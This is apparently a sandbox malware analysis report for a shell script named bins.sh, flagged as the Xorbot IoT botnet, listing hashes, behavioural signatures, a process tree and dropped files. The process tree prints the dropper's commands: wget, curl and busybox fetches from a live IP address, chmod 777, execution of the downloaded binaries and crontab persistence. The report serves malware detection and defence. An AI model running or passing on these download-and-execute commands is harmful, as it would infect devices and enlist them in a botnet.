Analysis

  • max time kernel
    150s
  • max time network
    182s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    01/12/2024, 22:31

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    7187e723d6c6ea19e696987e38c40047

  • SHA1

    2c99d3c07e904340b7d1bcec7afd801fd513c89b

  • SHA256

    6901f203d1426288bdbc5d00984e7c0b3f5858fe8fd416414acec6008b364fe9

  • SHA512

    809dbae9c9c2c1d24653f28bc97f465a8db299c250acee7370187698501afba9c55cd1935d07ed5054a10bfa753648c8f951ac7d1cc04c4818674bc67c1cef85

  • SSDEEP

    192:hWHDT6y8LZfhfRfBfMfwfvg8UzTNR9+B1te+SbtRp+eQjfhfRfBfMfwfrg8UzT/U:hFLhpZJGier+B1te+S2TpZJGiRB1te+x

Malware Config

Signatures

  • Detects Xorbot 1 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1645) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 3 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 3 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 9 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:703
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:727
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • File and Directory Permissions Modification
          PID:736
        • /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          ./g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
          • Executes dropped EXE
          PID:737
        • /bin/rm
          rm g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0
          2⤵
            PID:739
          • /usr/bin/wget
            wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Writes file to tmp directory
            PID:740
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Reads runtime system information
            • Writes file to tmp directory
            PID:741
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • File and Directory Permissions Modification
            PID:743
          • /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            ./je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
            • Executes dropped EXE
            PID:744
          • /bin/rm
            rm je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ
            2⤵
              PID:746
            • /usr/bin/wget
              wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Writes file to tmp directory
              PID:747
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Writes file to tmp directory
              PID:748
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Writes file to tmp directory
              PID:760
            • /bin/chmod
              chmod 777 d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • File and Directory Permissions Modification
              PID:765
            • /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              ./d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:766
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:768
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:769
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:772
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:773
                  • /bin/rm
                    rm d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV
                    2⤵
                      PID:775
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                      2⤵
                        PID:780
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/sU2JD3FqXfoM80dcesmJF8BDGCJB9pw2HM
                        2⤵
                          PID:862

                      Network

                      MITRE ATT&CK Enterprise v15

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • /tmp/d3lUPNjJBmjwW9wMQ5waA6M6oAahY1QrNV

                        Filesize

                        151KB

                        MD5

                        3c90d5820bddcf7c5d1bd21dfa49d958

                        SHA1

                        5ba05bd489e50af97d6dc45e3a0be60e494d5083

                        SHA256

                        bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                        SHA512

                        54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                      • /tmp/g7orhImR4xVdsrIxwDdyFRYPmbJorCG7W0

                        Filesize

                        177KB

                        MD5

                        786d75a158fe731feca3880f436082c0

                        SHA1

                        79ea2734e43d00cdeabed5586b2c1994d02aef3e

                        SHA256

                        5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                        SHA512

                        7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                      • /tmp/je2N9IXFhuTiWlmM0jstIexofrtcLrmPjQ

                        Filesize

                        141KB

                        MD5

                        3ca8decdb1e52c423c521bfff02ac200

                        SHA1

                        8621ecd6807109b8541912ad9e134f6fb49bfd48

                        SHA256

                        dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                        SHA512

                        b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                      • /var/spool/cron/crontabs/tmp.0ktajT

                        Filesize

                        210B

                        MD5

                        02ad4fac66b17ae2489d24d888f9c102

                        SHA1

                        480a8717804c39ef823da4ab937d9bd559d39eab

                        SHA256

                        1f31594e4d128b20b627c43959b881a85fcade2f841bb8126ee5eb7e040bcb2d

                        SHA512

                        b32dda2ada419592d76c490610371188740a6c390ff514c9e594921835d21120944c2b1c723cd2b7c96c417527d8398e790925240a0bdb5a15306dacbf65fa77